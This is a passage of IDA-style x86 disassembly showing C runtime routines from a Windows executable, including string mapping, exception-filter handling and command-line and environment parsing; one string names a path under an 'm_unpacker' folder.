[ebp+var_28], 0 jnz short loc_42990B xor eax, eax jmp loc_429A41 ; --------------------------------------------------------------------------- loc_42990B: ; CODE XREF: sub_429750+1B2j mov edx, [ebp+arg_4] and edx, 400h test edx, edx jz short loc_42995B cmp [ebp+arg_14], 0 jz short loc_429956 mov eax, [ebp+var_28] cmp eax, [ebp+arg_14] jle short loc_42992D xor eax, eax jmp loc_429A41 ; --------------------------------------------------------------------------- loc_42992D: ; CODE XREF: sub_429750+1D4j mov ecx, [ebp+arg_14] push ecx mov edx, [ebp+arg_10] push edx mov eax, [ebp+var_1C] push eax mov ecx, [ebp+var_24] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call dword_4F1318 ; LCMapStringW test eax, eax jnz short loc_429956 xor eax, eax jmp loc_429A41 ; --------------------------------------------------------------------------- loc_429956: ; CODE XREF: sub_429750+1CCj ; sub_429750+1FDj jmp loc_429A3A ; --------------------------------------------------------------------------- loc_42995B: ; CODE XREF: sub_429750+1C6j mov ecx, [ebp+var_28] mov [ebp+var_2C], ecx mov [ebp+var_4], 1 mov eax, [ebp+var_2C] shl eax, 1 add eax, 3 and al, 0FCh call sub_41BC60 mov [ebp+var_34], esp mov [ebp+var_18], esp mov edx, [ebp+var_34] mov [ebp+var_20], edx mov [ebp+var_4], 0FFFFFFFFh jmp short loc_4299A3 ; --------------------------------------------------------------------------- mov eax, 1 retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] mov [ebp+var_20], 0 mov [ebp+var_4], 0FFFFFFFFh loc_4299A3: ; CODE XREF: sub_429750+23Aj cmp [ebp+var_20], 0 jnz short loc_4299B0 xor eax, eax jmp loc_429A41 ; --------------------------------------------------------------------------- loc_4299B0: ; CODE XREF: sub_429750+257j mov eax, [ebp+var_2C] push eax mov ecx, [ebp+var_20] push ecx mov edx, [ebp+var_1C] push edx mov eax, [ebp+var_24] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx call dword_4F1318 ; LCMapStringW test eax, eax jnz short loc_4299D6 xor eax, eax jmp short loc_429A41 ; --------------------------------------------------------------------------- loc_4299D6: ; CODE XREF: sub_429750+280j cmp [ebp+arg_14], 0 jnz short loc_429A0A push 0 push 0 push 0 push 0 mov eax, [ebp+var_2C] push eax mov ecx, [ebp+var_20] push ecx push 220h mov edx, [ebp+arg_18] push edx call dword_4F141C ; WideCharToMultiByte mov [ebp+var_28], eax cmp [ebp+var_28], 0 jnz short loc_429A08 xor eax, eax jmp short loc_429A41 ; --------------------------------------------------------------------------- loc_429A08: ; CODE XREF: sub_429750+2B2j jmp short loc_429A3A ; --------------------------------------------------------------------------- loc_429A0A: ; CODE XREF: sub_429750+28Aj push 0 push 0 mov eax, [ebp+arg_14] push eax mov ecx, [ebp+arg_10] push ecx mov edx, [ebp+var_2C] push edx mov eax, [ebp+var_20] push eax push 220h mov ecx, [ebp+arg_18] push ecx call dword_4F141C ; WideCharToMultiByte mov [ebp+var_28], eax cmp [ebp+var_28], 0 jnz short loc_429A3A xor eax, eax jmp short loc_429A41 ; --------------------------------------------------------------------------- loc_429A3A: ; CODE XREF: sub_429750:loc_429956j ; sub_429750:loc_429A08j ... mov eax, [ebp+var_28] jmp short loc_429A41 ; --------------------------------------------------------------------------- loc_429A3F: ; CODE XREF: sub_429750+D2j xor eax, eax loc_429A41: ; CODE XREF: sub_429750+81j ; sub_429750+C6j ... lea esp, [ebp-40h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_429750 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_429A60 proc near ; CODE XREF: sub_429750+94p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 8 mov eax, [ebp+arg_4] mov [ebp+var_8], eax mov ecx, [ebp+arg_0] mov [ebp+var_4], ecx loc_429A72: ; CODE XREF: sub_429A60+35j mov edx, [ebp+var_8] mov eax, [ebp+var_8] sub eax, 1 mov [ebp+var_8], eax test edx, edx jz short loc_429A97 mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] test edx, edx jz short loc_429A97 mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax jmp short loc_429A72 ; --------------------------------------------------------------------------- loc_429A97: ; CODE XREF: sub_429A60+20j ; sub_429A60+2Aj mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] test edx, edx jnz short loc_429AA9 mov eax, [ebp+var_4] sub eax, [ebp+arg_0] jmp short loc_429AAC ; --------------------------------------------------------------------------- loc_429AA9: ; CODE XREF: sub_429A60+3Fj mov eax, [ebp+arg_4] loc_429AAC: ; CODE XREF: sub_429A60+47j mov esp, ebp pop ebp retn sub_429A60 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_429AB0 proc near ; CODE XREF: .nsp0:0041EB04p var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 18h call sub_423CF0 mov [ebp+var_8], eax mov eax, [ebp+var_8] mov ecx, [eax+50h] push ecx mov edx, [ebp+arg_0] push edx call sub_429C70 add esp, 8 mov [ebp+var_10], eax cmp [ebp+var_10], 0 jz short loc_429AE3 mov eax, [ebp+var_10] cmp dword ptr [eax+8], 0 jnz short loc_429AF2 loc_429AE3: ; CODE XREF: sub_429AB0+28j mov ecx, [ebp+arg_4] push ecx call dword_4F1314 ; UnhandledExceptionFilter jmp loc_429C6A ; --------------------------------------------------------------------------- loc_429AF2: ; CODE XREF: sub_429AB0+31j mov edx, [ebp+var_10] cmp dword ptr [edx+8], 5 jnz short loc_429B0F mov eax, [ebp+var_10] mov dword ptr [eax+8], 0 mov eax, 1 jmp loc_429C6A ; --------------------------------------------------------------------------- loc_429B0F: ; CODE XREF: sub_429AB0+49j mov ecx, [ebp+var_10] cmp dword ptr [ecx+8], 1 jnz short loc_429B20 or eax, 0FFFFFFFFh jmp loc_429C6A ; --------------------------------------------------------------------------- loc_429B20: ; CODE XREF: sub_429AB0+66j mov edx, [ebp+var_10] mov eax, [edx+8] mov [ebp+var_4], eax mov ecx, [ebp+var_8] mov edx, [ecx+54h] mov [ebp+var_18], edx mov eax, [ebp+var_8] mov ecx, [ebp+arg_4] mov [eax+54h], ecx mov edx, [ebp+var_10] cmp dword ptr [edx+4], 8 jnz loc_429C47 mov eax, dword_451C40 mov [ebp+var_14], eax jmp short loc_429B5B ; --------------------------------------------------------------------------- loc_429B52: ; CODE XREF: sub_429AB0+D0j mov ecx, [ebp+var_14] add ecx, 1 mov [ebp+var_14], ecx loc_429B5B: ; CODE XREF: sub_429AB0+A0j mov edx, dword_451C40 add edx, dword_451C44 cmp [ebp+var_14], edx jge short loc_429B82 mov eax, [ebp+var_14] imul eax, 0Ch mov ecx, [ebp+var_8] mov edx, [ecx+50h] mov dword ptr [edx+eax+8], 0 jmp short loc_429B52 ; --------------------------------------------------------------------------- loc_429B82: ; CODE XREF: sub_429AB0+BAj mov eax, [ebp+var_8] mov ecx, [eax+58h] mov [ebp+var_C], ecx mov edx, [ebp+var_10] cmp dword ptr [edx], 0C000008Eh jnz short loc_429BA5 mov eax, [ebp+var_8] mov dword ptr [eax+58h], 83h jmp loc_429C2D ; --------------------------------------------------------------------------- loc_429BA5: ; CODE XREF: sub_429AB0+E4j mov ecx, [ebp+var_10] cmp dword ptr [ecx], 0C0000090h jnz short loc_429BBC mov edx, [ebp+var_8] mov dword ptr [edx+58h], 81h jmp short loc_429C2D ; --------------------------------------------------------------------------- loc_429BBC: ; CODE XREF: sub_429AB0+FEj mov eax, [ebp+var_10] cmp dword ptr [eax], 0C0000091h jnz short loc_429BD3 mov ecx, [ebp+var_8] mov dword ptr [ecx+58h], 84h jmp short loc_429C2D ; --------------------------------------------------------------------------- loc_429BD3: ; CODE XREF: sub_429AB0+115j mov edx, [ebp+var_10] cmp dword ptr [edx], 0C0000093h jnz short loc_429BEA mov eax, [ebp+var_8] mov dword ptr [eax+58h], 85h jmp short loc_429C2D ; --------------------------------------------------------------------------- loc_429BEA: ; CODE XREF: sub_429AB0+12Cj mov ecx, [ebp+var_10] cmp dword ptr [ecx], 0C000008Dh jnz short loc_429C01 mov edx, [ebp+var_8] mov dword ptr [edx+58h], 82h jmp short loc_429C2D ; --------------------------------------------------------------------------- loc_429C01: ; CODE XREF: sub_429AB0+143j mov eax, [ebp+var_10] cmp dword ptr [eax], 0C000008Fh jnz short loc_429C18 mov ecx, [ebp+var_8] mov dword ptr [ecx+58h], 86h jmp short loc_429C2D ; --------------------------------------------------------------------------- loc_429C18: ; CODE XREF: sub_429AB0+15Aj mov edx, [ebp+var_10] cmp dword ptr [edx], 0C0000092h jnz short loc_429C2D mov eax, [ebp+var_8] mov dword ptr [eax+58h], 8Ah loc_429C2D: ; CODE XREF: sub_429AB0+F0j ; sub_429AB0+10Aj ... mov ecx, [ebp+var_8] mov edx, [ecx+58h] push edx push 8 call [ebp+var_4] add esp, 8 mov eax, [ebp+var_8] mov ecx, [ebp+var_C] mov [eax+58h], ecx jmp short loc_429C5E ; --------------------------------------------------------------------------- loc_429C47: ; CODE XREF: sub_429AB0+92j mov edx, [ebp+var_10] mov dword ptr [edx+8], 0 mov eax, [ebp+var_10] mov ecx, [eax+4] push ecx call [ebp+var_4] add esp, 4 loc_429C5E: ; CODE XREF: sub_429AB0+195j mov edx, [ebp+var_8] mov eax, [ebp+var_18] mov [edx+54h], eax or eax, 0FFFFFFFFh loc_429C6A: ; CODE XREF: sub_429AB0+3Dj ; sub_429AB0+5Aj ... mov esp, ebp pop ebp retn sub_429AB0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_429C70 proc near ; CODE XREF: sub_429AB0+19p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_4] mov [ebp+var_4], eax loc_429C7A: ; CODE XREF: sub_429C70+30j mov ecx, [ebp+var_4] mov edx, [ecx] cmp edx, [ebp+arg_0] jz short loc_429CA2 mov eax, [ebp+var_4] add eax, 0Ch mov [ebp+var_4], eax mov ecx, dword_451C4C imul ecx, 0Ch mov edx, [ebp+arg_4] add edx, ecx cmp [ebp+var_4], edx jnb short loc_429CA2 jmp short loc_429C7A ; --------------------------------------------------------------------------- loc_429CA2: ; CODE XREF: sub_429C70+12j ; sub_429C70+2Ej mov eax, dword_451C4C imul eax, 0Ch mov ecx, [ebp+arg_4] add ecx, eax cmp [ebp+var_4], ecx jnb short loc_429CBE mov edx, [ebp+var_4] mov eax, [edx] cmp eax, [ebp+arg_0] jz short loc_429CC2 loc_429CBE: ; CODE XREF: sub_429C70+42j xor eax, eax jmp short loc_429CC5 ; --------------------------------------------------------------------------- loc_429CC2: ; CODE XREF: sub_429C70+4Cj mov eax, [ebp+var_4] loc_429CC5: ; CODE XREF: sub_429C70+50j mov esp, ebp pop ebp retn sub_429C70 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_429CD0 proc near ; CODE XREF: .nsp0:0041EAA8p var_4 = dword ptr -4 push ebp mov ebp, esp push ecx cmp dword_4F0FAC, 0 jnz short loc_429CE2 call sub_4246A0 loc_429CE2: ; CODE XREF: sub_429CD0+Bj mov eax, dword_4F0FA4 mov [ebp+var_4], eax mov ecx, [ebp+var_4] xor edx, edx mov dl, [ecx] cmp edx, 22h jnz short loc_429D4C loc_429CF6: ; CODE XREF: sub_429CD0:loc_429D33j mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax mov ecx, [ebp+var_4] xor edx, edx mov dl, [ecx] cmp edx, 22h jz short loc_429D35 mov eax, [ebp+var_4] xor ecx, ecx mov cl, [eax] test ecx, ecx jz short loc_429D35 mov edx, [ebp+var_4] xor eax, eax mov al, [edx] push eax call sub_430C40 add esp, 4 test eax, eax jz short loc_429D33 mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx loc_429D33: ; CODE XREF: sub_429CD0+58j jmp short loc_429CF6 ; --------------------------------------------------------------------------- loc_429D35: ; CODE XREF: sub_429CD0+39j ; sub_429CD0+44j mov edx, [ebp+var_4] xor eax, eax mov al, [edx] cmp eax, 22h jnz short loc_429D4A mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx loc_429D4A: ; CODE XREF: sub_429CD0+6Fj jmp short loc_429D63 ; --------------------------------------------------------------------------- loc_429D4C: ; CODE XREF: sub_429CD0+24j ; sub_429CD0+91j mov edx, [ebp+var_4] xor eax, eax mov al, [edx] cmp eax, 20h jle short loc_429D63 mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx jmp short loc_429D4C ; --------------------------------------------------------------------------- loc_429D63: ; CODE XREF: sub_429CD0:loc_429D4Aj ; sub_429CD0+86j ... mov edx, [ebp+var_4] xor eax, eax mov al, [edx] test eax, eax jz short loc_429D85 mov ecx, [ebp+var_4] xor edx, edx mov dl, [ecx] cmp edx, 20h jg short loc_429D85 mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax jmp short loc_429D63 ; --------------------------------------------------------------------------- loc_429D85: ; CODE XREF: sub_429CD0+9Cj ; sub_429CD0+A8j mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_429CD0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_429D90 proc near ; CODE XREF: .nsp0:0041EA8Dp var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 10h cmp dword_4F0FAC, 0 jnz short loc_429DA4 call sub_4246A0 loc_429DA4: ; CODE XREF: sub_429D90+Dj mov [ebp+var_8], 0 mov eax, dword_4EF8E0 mov [ebp+var_4], eax loc_429DB3: ; CODE XREF: sub_429D90+57j mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] test edx, edx jz short loc_429DE9 mov eax, [ebp+var_4] movsx ecx, byte ptr [eax] cmp ecx, 3Dh jz short loc_429DD1 mov edx, [ebp+var_8] add edx, 1 mov [ebp+var_8], edx loc_429DD1: ; CODE XREF: sub_429D90+36j mov eax, [ebp+var_4] push eax call sub_418D00 add esp, 4 mov ecx, [ebp+var_4] lea edx, [ecx+eax+1] mov [ebp+var_4], edx jmp short loc_429DB3 ; --------------------------------------------------------------------------- loc_429DE9: ; CODE XREF: sub_429D90+2Bj push 6Dh push offset dword_4382D8 push 2 mov eax, [ebp+var_8] lea ecx, ds:4[eax*4] push ecx call sub_418EF0 add esp, 10h mov [ebp+var_C], eax mov edx, [ebp+var_C] mov dword_4EF898, edx cmp dword_4EF898, 0 jnz short loc_429E24 push 9 call sub_41EB30 add esp, 4 loc_429E24: ; CODE XREF: sub_429D90+88j mov eax, dword_4EF8E0 mov [ebp+var_4], eax jmp short loc_429E37 ; --------------------------------------------------------------------------- loc_429E2E: ; CODE XREF: sub_429D90:loc_429EA5j mov ecx, [ebp+var_4] add ecx, [ebp+var_10] mov [ebp+var_4], ecx loc_429E37: ; CODE XREF: sub_429D90+9Cj mov edx, [ebp+var_4] movsx eax, byte ptr [edx] test eax, eax jz short loc_429EA7 mov ecx, [ebp+var_4] push ecx call sub_418D00 add esp, 4 add eax, 1 mov [ebp+var_10], eax mov edx, [ebp+var_4] movsx eax, byte ptr [edx] cmp eax, 3Dh jz short loc_429EA5 push 79h push offset dword_4382D8 push 2 mov ecx, [ebp+var_10] push ecx call sub_418EF0 add esp, 10h mov edx, [ebp+var_C] mov [edx], eax mov eax, [ebp+var_C] cmp dword ptr [eax], 0 jnz short loc_429E8A push 9 call sub_41EB30 add esp, 4 loc_429E8A: ; CODE XREF: sub_429D90+EEj mov ecx, [ebp+var_4] push ecx mov edx, [ebp+var_C] mov eax, [edx] push eax call sub_41C300 add esp, 8 mov ecx, [ebp+var_C] add ecx, 4 mov [ebp+var_C], ecx loc_429EA5: ; CODE XREF: sub_429D90+CCj jmp short loc_429E2E ; --------------------------------------------------------------------------- loc_429EA7: ; CODE XREF: sub_429D90+AFj push 2 mov edx, dword_4EF8E0 push edx call sub_419980 add esp, 8 mov dword_4EF8E0, 0 mov eax, [ebp+var_C] mov dword ptr [eax], 0 mov dword_4F0FA8, 1 mov esp, ebp pop ebp retn sub_429D90 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_429EE0 proc near ; CODE XREF: .nsp0:0041EA88p var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 14h cmp dword_4F0FAC, 0 jnz short loc_429EF4 call sub_4246A0 loc_429EF4: ; CODE XREF: sub_429EE0+Dj push 104h push offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe" push 0 call dword_4F132C ; GetModuleFileNameA mov off_4EF8A8, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe" mov eax, dword_4F0FA4 movsx ecx, byte ptr [eax] test ecx, ecx jnz short loc_429F27 mov edx, off_4EF8A8 mov [ebp+var_14], edx jmp short loc_429F2F ; --------------------------------------------------------------------------- loc_429F27: ; CODE XREF: sub_429EE0+3Aj mov eax, dword_4F0FA4 mov [ebp+var_14], eax loc_429F2F: ; CODE XREF: sub_429EE0+45j mov ecx, [ebp+var_14] mov [ebp+var_10], ecx lea edx, [ebp+var_4] push edx lea eax, [ebp+var_C] push eax push 0 push 0 mov ecx, [ebp+var_10] push ecx call sub_429FC0 add esp, 14h push 80h push offset dword_4382E4 push 2 mov edx, [ebp+var_C] mov eax, [ebp+var_4] lea ecx, [eax+edx*4] push ecx call sub_418EF0 add esp, 10h mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_429F7E push 8 call sub_41EB30 add esp, 4 loc_429F7E: ; CODE XREF: sub_429EE0+92j lea edx, [ebp+var_4] push edx lea eax, [ebp+var_C] push eax mov ecx, [ebp+var_C] mov edx, [ebp+var_8] lea eax, [edx+ecx*4] push eax mov ecx, [ebp+var_8] push ecx mov edx, [ebp+var_10] push edx call sub_429FC0 add esp, 14h mov eax, [ebp+var_C] sub eax, 1 mov dword_4EF88C, eax mov ecx, [ebp+var_8] mov dword_4EF890, ecx mov esp, ebp pop ebp retn sub_429EE0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_429FC0 proc near ; CODE XREF: sub_429EE0+65p ; sub_429EE0+B8p var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 14h mov eax, [ebp+arg_10] mov dword ptr [eax], 0 mov ecx, [ebp+arg_C] mov dword ptr [ecx], 1 mov edx, [ebp+arg_0] mov [ebp+var_4], edx cmp [ebp+arg_4], 0 jz short loc_429FF5 mov eax, [ebp+arg_4] mov ecx, [ebp+arg_8] mov [eax], ecx mov edx, [ebp+arg_4] add edx, 4 mov [ebp+arg_4], edx loc_429FF5: ; CODE XREF: sub_429FC0+22j mov eax, [ebp+var_4] movsx ecx, byte ptr [eax] cmp ecx, 22h jnz loc_42A0CD loc_42A004: ; CODE XREF: sub_429FC0:loc_42A08Dj mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx mov eax, [ebp+var_4] movsx ecx, byte ptr [eax] cmp ecx, 22h jz short loc_42A092 mov edx, [ebp+var_4] movsx eax, byte ptr [edx] test eax, eax jz short loc_42A092 mov ecx, [ebp+var_4] xor edx, edx mov dl, [ecx] xor eax, eax mov al, byte_4EFE61[edx] and eax, 4 test eax, eax jz short loc_42A067 mov ecx, [ebp+arg_10] mov edx, [ecx] add edx, 1 mov eax, [ebp+arg_10] mov [eax], edx cmp [ebp+arg_8], 0 jz short loc_42A067 mov ecx, [ebp+arg_8] mov edx, [ebp+var_4] mov al, [edx] mov [ecx], al mov ecx, [ebp+arg_8] add ecx, 1 mov [ebp+arg_8], ecx mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx loc_42A067: ; CODE XREF: sub_429FC0+76j ; sub_429FC0+89j mov eax, [ebp+arg_10] mov ecx, [eax] add ecx, 1 mov edx, [ebp+arg_10] mov [edx], ecx cmp [ebp+arg_8], 0 jz short loc_42A08D mov eax, [ebp+arg_8] mov ecx, [ebp+var_4] mov dl, [ecx] mov [eax], dl mov eax, [ebp+arg_8] add eax, 1 mov [ebp+arg_8], eax loc_42A08D: ; CODE XREF: sub_429FC0+B8j jmp loc_42A004 ; --------------------------------------------------------------------------- loc_42A092: ; CODE XREF: sub_429FC0+56j ; sub_429FC0+60j mov ecx, [ebp+arg_10] mov edx, [ecx] add edx, 1 mov eax, [ebp+arg_10] mov [eax], edx cmp [ebp+arg_8], 0 jz short loc_42A0B4 mov ecx, [ebp+arg_8] mov byte ptr [ecx], 0 mov edx, [ebp+arg_8] add edx, 1 mov [ebp+arg_8], edx loc_42A0B4: ; CODE XREF: sub_429FC0+E3j mov eax, [ebp+var_4] movsx ecx, byte ptr [eax] cmp ecx, 22h jnz short loc_42A0C8 mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx loc_42A0C8: ; CODE XREF: sub_429FC0+FDj jmp loc_42A19C ; --------------------------------------------------------------------------- loc_42A0CD: ; CODE XREF: sub_429FC0+3Ej ; sub_429FC0+1B1j mov eax, [ebp+arg_10] mov ecx, [eax] add ecx, 1 mov edx, [ebp+arg_10] mov [edx], ecx cmp [ebp+arg_8], 0 jz short loc_42A0F3 mov eax, [ebp+arg_8] mov ecx, [ebp+var_4] mov dl, [ecx] mov [eax], dl mov eax, [ebp+arg_8] add eax, 1 mov [ebp+arg_8], eax loc_42A0F3: ; CODE XREF: sub_429FC0+11Ej mov ecx, [ebp+var_4] mov dl, [ecx] mov byte ptr [ebp+var_C], dl mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax mov ecx, [ebp+var_C] and ecx, 0FFh xor edx, edx mov dl, byte_4EFE61[ecx] and edx, 4 test edx, edx jz short loc_42A14B mov eax, [ebp+arg_10] mov ecx, [eax] add ecx, 1 mov edx, [ebp+arg_10] mov [edx], ecx cmp [ebp+arg_8], 0 jz short loc_42A142 mov eax, [ebp+arg_8] mov ecx, [ebp+var_4] mov dl, [ecx] mov [eax], dl mov eax, [ebp+arg_8] add eax, 1 mov [ebp+arg_8], eax loc_42A142: ; CODE XREF: sub_429FC0+16Dj mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx loc_42A14B: ; CODE XREF: sub_429FC0+15Aj mov edx, [ebp+var_C] and edx, 0FFh cmp edx, 20h jz short loc_42A177 mov eax, [ebp+var_C] and eax, 0FFh test eax, eax jz short loc_42A177 mov ecx, [ebp+var_C] and ecx, 0FFh cmp ecx, 9 jnz loc_42A0CD loc_42A177: ; CODE XREF: sub_429FC0+197j ; sub_429FC0+1A3j mov edx, [ebp+var_C] and edx, 0FFh test edx, edx jnz short loc_42A18F mov eax, [ebp+var_4] sub eax, 1 mov [ebp+var_4], eax jmp short loc_42A19C ; --------------------------------------------------------------------------- loc_42A18F: ; CODE XREF: sub_429FC0+1C2j cmp [ebp+arg_8], 0 jz short loc_42A19C mov ecx, [ebp+arg_8] mov byte ptr [ecx-1], 0 loc_42A19C: ; CODE XREF: sub_429FC0:loc_42A0C8j ; sub_429FC0+1CDj ... mov [ebp+var_14], 0 loc_42A1A3: ; CODE XREF: sub_429FC0+3F6j mov edx, [ebp+var_4] movsx eax, byte ptr [edx] test eax, eax jz short loc_42A1CE loc_42A1AD: ; CODE XREF: sub_429FC0+20Cj mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] cmp edx, 20h jz short loc_42A1C3 mov eax, [ebp+var_4] movsx ecx, byte ptr [eax] cmp ecx, 9 jnz short loc_42A1CE loc_42A1C3: ; CODE XREF: sub_429FC0+1F6j mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx jmp short loc_42A1AD ; --------------------------------------------------------------------------- loc_42A1CE: ; CODE XREF: sub_429FC0+1EBj ; sub_429FC0+201j mov eax, [ebp+var_4] movsx ecx, byte ptr [eax] test ecx, ecx jnz short loc_42A1DD jmp loc_42A3BB ; --------------------------------------------------------------------------- loc_42A1DD: ; CODE XREF: sub_429FC0+216j cmp [ebp+arg_4], 0 jz short loc_42A1F4 mov edx, [ebp+arg_4] mov eax, [ebp+arg_8] mov [edx], eax mov ecx, [ebp+arg_4] add ecx, 4 mov [ebp+arg_4], ecx loc_42A1F4: ; CODE XREF: sub_429FC0+221j mov edx, [ebp+arg_C] mov eax, [edx] add eax, 1 mov ecx, [ebp+arg_C] mov [ecx], eax loc_42A201: ; CODE XREF: sub_429FC0+3CFj mov [ebp+var_8], 1 mov [ebp+var_10], 0 loc_42A20F: ; CODE XREF: sub_429FC0+26Cj mov edx, [ebp+var_4] movsx eax, byte ptr [edx] cmp eax, 5Ch jnz short loc_42A22E mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx mov edx, [ebp+var_10] add edx, 1 mov [ebp+var_10], edx jmp short loc_42A20F ; --------------------------------------------------------------------------- loc_42A22E: ; CODE XREF: sub_429FC0+258j mov eax, [ebp+var_4] movsx ecx, byte ptr [eax] cmp ecx, 22h jnz short loc_42A28A mov eax, [ebp+var_10] xor edx, edx mov ecx, 2 div ecx test edx, edx jnz short loc_42A282 cmp [ebp+var_14], 0 jz short loc_42A26F mov edx, [ebp+var_4] movsx eax, byte ptr [edx+1] cmp eax, 22h jnz short loc_42A266 mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx jmp short loc_42A26D ; --------------------------------------------------------------------------- loc_42A266: ; CODE XREF: sub_429FC0+299j mov [ebp+var_8], 0 loc_42A26D: ; CODE XREF: sub_429FC0+2A4j jmp short loc_42A276 ; --------------------------------------------------------------------------- loc_42A26F: ; CODE XREF: sub_429FC0+28Dj mov [ebp+var_8], 0 loc_42A276: ; CODE XREF: sub_429FC0:loc_42A26Dj xor edx, edx cmp [ebp+var_14], 0 setz dl mov [ebp+var_14], edx loc_42A282: ; CODE XREF: sub_429FC0+287j mov eax, [ebp+var_10] shr eax, 1 mov [ebp+var_10], eax loc_42A28A: ; CODE XREF: sub_429FC0+277j ; sub_429FC0+2FCj mov ecx, [ebp+var_10] mov edx, [ebp+var_10] sub edx, 1 mov [ebp+var_10], edx test ecx, ecx jz short loc_42A2BE cmp [ebp+arg_8], 0 jz short loc_42A2AF mov eax, [ebp+arg_8] mov byte ptr [eax], 5Ch mov ecx, [ebp+arg_8] add ecx, 1 mov [ebp+arg_8], ecx loc_42A2AF: ; CODE XREF: sub_429FC0+2DEj mov edx, [ebp+arg_10] mov eax, [edx] add eax, 1 mov ecx, [ebp+arg_10] mov [ecx], eax jmp short loc_42A28A ; --------------------------------------------------------------------------- loc_42A2BE: ; CODE XREF: sub_429FC0+2D8j mov edx, [ebp+var_4] movsx eax, byte ptr [edx] test eax, eax jz short loc_42A2E4 cmp [ebp+var_14], 0 jnz short loc_42A2E9 mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] cmp edx, 20h jz short loc_42A2E4 mov eax, [ebp+var_4] movsx ecx, byte ptr [eax] cmp ecx, 9 jnz short loc_42A2E9 loc_42A2E4: ; CODE XREF: sub_429FC0+306j ; sub_429FC0+317j jmp loc_42A394 ; --------------------------------------------------------------------------- loc_42A2E9: ; CODE XREF: sub_429FC0+30Cj ; sub_429FC0+322j cmp [ebp+var_8], 0 jz loc_42A386 cmp [ebp+arg_8], 0 jz short loc_42A34D mov edx, [ebp+var_4] xor eax, eax mov al, [edx] xor ecx, ecx mov cl, byte_4EFE61[eax] and ecx, 4 test ecx, ecx jz short loc_42A338 mov edx, [ebp+arg_8] mov eax, [ebp+var_4] mov cl, [eax] mov [edx], cl mov edx, [ebp+arg_8] add edx, 1 mov [ebp+arg_8], edx mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax mov ecx, [ebp+arg_10] mov edx, [ecx] add edx, 1 mov eax, [ebp+arg_10] mov [eax], edx loc_42A338: ; CODE XREF: sub_429FC0+34Dj mov ecx, [ebp+arg_8] mov edx, [ebp+var_4] mov al, [edx] mov [ecx], al mov ecx, [ebp+arg_8] add ecx, 1 mov [ebp+arg_8], ecx jmp short loc_42A379 ; --------------------------------------------------------------------------- loc_42A34D: ; CODE XREF: sub_429FC0+337j mov edx, [ebp+var_4] xor eax, eax mov al, [edx] xor ecx, ecx mov cl, byte_4EFE61[eax] and ecx, 4 test ecx, ecx jz short loc_42A379 mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx mov eax, [ebp+arg_10] mov ecx, [eax] add ecx, 1 mov edx, [ebp+arg_10] mov [edx], ecx loc_42A379: ; CODE XREF: sub_429FC0+38Bj ; sub_429FC0+3A1j mov eax, [ebp+arg_10] mov ecx, [eax] add ecx, 1 mov edx, [ebp+arg_10] mov [edx], ecx loc_42A386: ; CODE XREF: sub_429FC0+32Dj mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax jmp loc_42A201 ; --------------------------------------------------------------------------- loc_42A394: ; CODE XREF: sub_429FC0:loc_42A2E4j cmp 